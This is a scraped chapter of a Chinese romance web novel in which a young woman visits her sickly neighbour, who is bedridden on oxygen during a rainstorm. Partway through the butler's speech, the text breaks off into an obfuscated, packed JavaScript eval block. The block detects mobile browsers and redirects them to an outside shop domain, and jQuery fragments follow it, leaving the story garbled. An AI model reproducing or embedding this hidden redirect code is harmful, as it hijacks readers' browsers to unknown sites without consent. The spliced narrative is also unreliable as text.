文趣网 > 其他小说 > 黑暗料理小姐和没关系先生 > 9. 姐姐,你来啦
    奥利奥交到新朋友的第四天,下雨了。

    春末夏初的雨脾气暴躁得很,跟绵绵春雨完全是极与极,雨点砸在落地窗上发出密集的噼啪声。天空灰蒙蒙的,云层压得很低,要不是床边电子钟显示,季书宁差点以为自己一觉睡到了晚上。

    不上不下,沉甸甸的。气压低得让人喘不过气,连奥利奥都感觉到了。它趴在客厅地上,下巴搁在爪子上,尾巴在地板上无精打采地扫了两下就停了。

    季书宁站在窗边往外看,雨太大了,花园里的树被风吹得左摇右晃,宠物活动区空无一狗。这种天气,没有哪个正常人会出门遛狗。

    她低头和奥利奥四目相对,奥利奥正在“想出门”和“不想淋雨”之间纠结。

    她拿起手机,想问问楼上的脆皮小朋友今天还要不要遛糯米。一行字打完,不知道怎么的又一个字一个字删掉。

    才八点,他可能还在睡觉。

    其实也不一定。上次陆之安说他有时候凌晨血氧会掉,说明他睡得并不好。她犹豫了一下还是发了。

    【季小宁】:今天下雨,糯米想跟奥利奥玩吗?

    等了一会儿没回,她想了想又发了一条。

    【季小宁】:还在睡吗?那不急,等醒了再说

    她把手机放在茶几上,去厨房倒了杯水。端着水杯回来的时候手机屏幕亮着,一条新消息。

    【小谢同学】:姐姐

    就两个字,连个标点都没有,很不符合他平常的风格。季书宁等了几秒,没有第二条。她正要打字,对面又发来一条。

    【小谢同学】:今天可能不行

    又隔了几秒。

    【小谢同学】:我不太舒服

    季书宁握着水杯的手指紧了一下。

    【季小宁】:怎么了

    【季小宁】:严重吗

    【季小宁】:我能上来看看吗

    三条消息发过去,对面没有马上回复。等了半分钟,一分钟,两分钟,对话框上没有出现“对方正在输入”。

    季书宁拿着手机绕着客厅走了两圈,奥利奥抬头看她,尾巴在地板上轻轻扫了一下。

    对话框终于弹出了新消息。

    【小谢同学】:好

    就一个字,但至少回复了。季书宁松了口气,又觉得这口气松得莫名其妙。

    人家只是不太舒服,又不是出了什么大事,况且又没熟到那种程度。

    【季小宁】:我马上上来

    【季小宁】:顺便让奥利奥跟糯米玩一会儿。奥利奥穿了新雨衣,想给糯米看看。

    雨衣是昨天下午去宠物店买的。起因是奥利奥日渐圆润,原来的雨衣穿上有点像包粽子,得买件新的。

    挑的时候她又想起了糯米,小小的一只,又乖又安静,很容易令人母爱大爆发。

    最终她买了两件:一件给奥利奥,淡绿色的恐龙造型,背上有一排黄色的三角形棘刺,帽子上还有两只圆溜溜的大眼睛;一件给糯米,小黄鸭造型,帽子上有一个橘色的小嘴。

    看到两件雨衣她就走不动了,脑子里自动浮现出两只狗穿着雨衣并排走的样子,当场掏钱买了下来。沈觅知道后说她是在用养孩子的心态养狗,她说那当然,小孩哪有狗可爱。

    沈觅:你这辈子大概是栽在狗身上了。

    季书宁换好衣服,拿了新雨衣给奥利奥套上。黄色的棘刺在背上一颤一颤的,帽子上的大眼睛无辜地瞪着,配上奥利奥那张原本就憨萌憨萌的狗脸,效果非常惊人:一只披着恐龙皮、像被恐龙一口吞到嘴里的阿拉斯加。

    奥利奥显然不太适应这身行头,扭着头去咬背后的棘刺,咬不到,又转圈去咬恐龙尾巴,还是失败。

    它追着自己的尾巴跑了几圈,最后放弃了,很委屈地看着季书宁。

    “你好看。”季书宁蹲下来安慰它,“真的,特别威风。糯米看到了一定会觉得哇塞奥利奥你的可爱值怎么一天比一天高。”

    奥利奥:我信你个鬼。

    季书宁仔细打量了一下,怎么看怎么满意。唯一美中不足的是,衣服还是有点紧。

    不过没关系,这不是奥利奥的错。错的是现在女装普遍偏小,女狗装大概也一样有这个偷工减料的臭毛病。

    季书宁牵着奥利奥上楼。

    电梯门一开,她就觉得今天气氛不太一样,走廊里有一种诡异的安静。季书宁按了门铃,过了好一会儿门才开。

    开门的还是周管家,表情和平常没什么区别,但眼里多了几条红血丝,衬衫袖口居然有一颗扣子没扣好。

    这种事在周管家身上几乎不可能发生。

    “季小姐,请进。”他声音有些沙哑,“少爷在卧室。他今天早上状态不太好。”

    季书宁给了奥利奥一根磨牙棒,让它乖乖趴在玄关,自己跟着周管家往里走。客厅的窗帘还没有完全拉开,只留了一条缝,光线很暗。

    茶几上摆着几样东西,药盒、摊开的病历记录,还有一杯喝了一半的水。加湿器在角落安静地喷着水雾,空气里有消毒水味道,盖过了原本淡淡的薰衣草香熏味。

    “昨天晚上气压就开始降了。”周管家一边走一边低声说,“少爷夜里血氧比平时掉得厉害,陆医生守了一晚上,凌晨四点多才勉强稳定下来。早上少爷想下床,一动就喘,心率也上去了。陆医生让他躺着,哪里都不许去。”

    “那他今天……”季书宁顿了顿,换了个问题,“平时也会这样吗?”

    “一年加起来差不多有两个月的时间是这样。换季的时候、气压变化大的时候、温差大的时候,都会这样。昨天天气预报说要下大雨,我们就开始准备了,还是压不住。他的心肺功能太弱了,天气一变,身体就先知道。今天早上量血压,高压只有八十多,低压五十出头。”

    周管家说这些的时候语调很平,像在说一件日常生活中再普通不过的事。

    因为已经习惯了,因为这样的事情发生过太多次了。

    室内电梯送两人到达二楼,经过起居室,走到卧室门口,周管家停住了脚步。

    “季小姐,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525737|203486||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”他转身面对她,犹豫了一下,“少爷今天的样子……跟平时不太一样,会比较虚弱。他其实不太想让别人看到自己这个样子,但他刚才让我把他扶起来一点。”

    周管家看着她,眼角的细纹里藏着温和的笑意:“他说楼下的姐姐要上来,不能躺着见人。”

    季书宁在门口做了个深呼吸,然后走进去。

    谢司澜的卧室比她想象的要大。

    270度的落地窗,窗帘拉了一半,另一半透进来的天光被雨幕柔和。一面墙镶嵌着衣柜,两个衣柜中间有张小桌子,上面摆满了瓶瓶罐罐。床的另一边有一个高出一点的平台,上面有一张看起来很舒服的单人沙发,一件不知道是谁的外套搭在上面。

    通往浴室和衣帽间的门都虚掩着,水吧上只有几盆绿植,下面的小冰箱里放着几瓶玻璃瓶装的矿泉水。

    床头柜旁立着一台制氧机,工作指示灯亮着。床边的移动支架上挂着一个输液袋,里面还有大半袋液体。

    床是可调节的,此刻床头升起来,靠垫堆了好几层。谢司澜就靠在那堆靠垫中间。

    他穿着一件奶白色的宽松长袖睡衣,领口不大。头发没怎么打理,刘海软软地垂在额前,头顶上有几缕不听话地翘起来。

    透明的氧气面罩罩住大半张脸,手放在被子外面,左手食指上夹着一个血氧监测仪,右手手背上扎着输液针。

    他的眼睛本来是闭着的,睫毛安安静静地覆着。呼吸很轻,胸口起伏的弧度小小的,面罩随着每一次呼吸泛起薄薄的白雾,又很快消散。

    周管家走到床边,轻轻捏了一下他的手指,然后他睁开了眼睛,那双浅色的眼睛还有些雾气朦胧,慢慢朝她这边转过来。

    “姐姐。”面罩后面的声音有点听不太清。他的手从被子上费力地抬起来一点,朝她的方向动了动。输液管被牵动了,轻轻晃了一下,“你来啦。”

    他的脸真的太像洋娃娃了。白到几乎透明的小脸陷在蓬松的枕套里,睫毛又浓又翘。下巴尖尖的,偏偏脸颊肉把过分精致的长相往人类的范畴里又拽了一点,像刚出笼的奶香小馒头。

    季书宁觉得如果把此刻的他放在精品店的橱窗里,穿着蕾丝衬衫戴着小礼帽,所有人都会觉得这是某个贵得要死的限量版娃娃,没有人会怀疑。

    让人想把他连被子带人一起抱起来,让人想坐在床边守着他哪里都不去,让人想把世界上所有不好的东西都挡在外面,不让它们碰到他一根头发。

    这种人从小就是这个样子,那照顾他的人这些年是怎么忍住的!

    她用力掐了一下自己的手心,把脑子里那些乱七八糟的念头按下去。

    不能上手捏不能上手揉不能上手抱,你是来接糯米的,不是来对着病弱美少年心猿意马的。

    “你还好吗?”她走过去站在旁边,稍稍弯了弯腰,让他能听得更清楚。

    “没事。”他说,两个字也说得慢慢的,“老毛病。陆医生太紧张了。”

    他说完又笑了,笑得乖乖的:“姐姐坐。”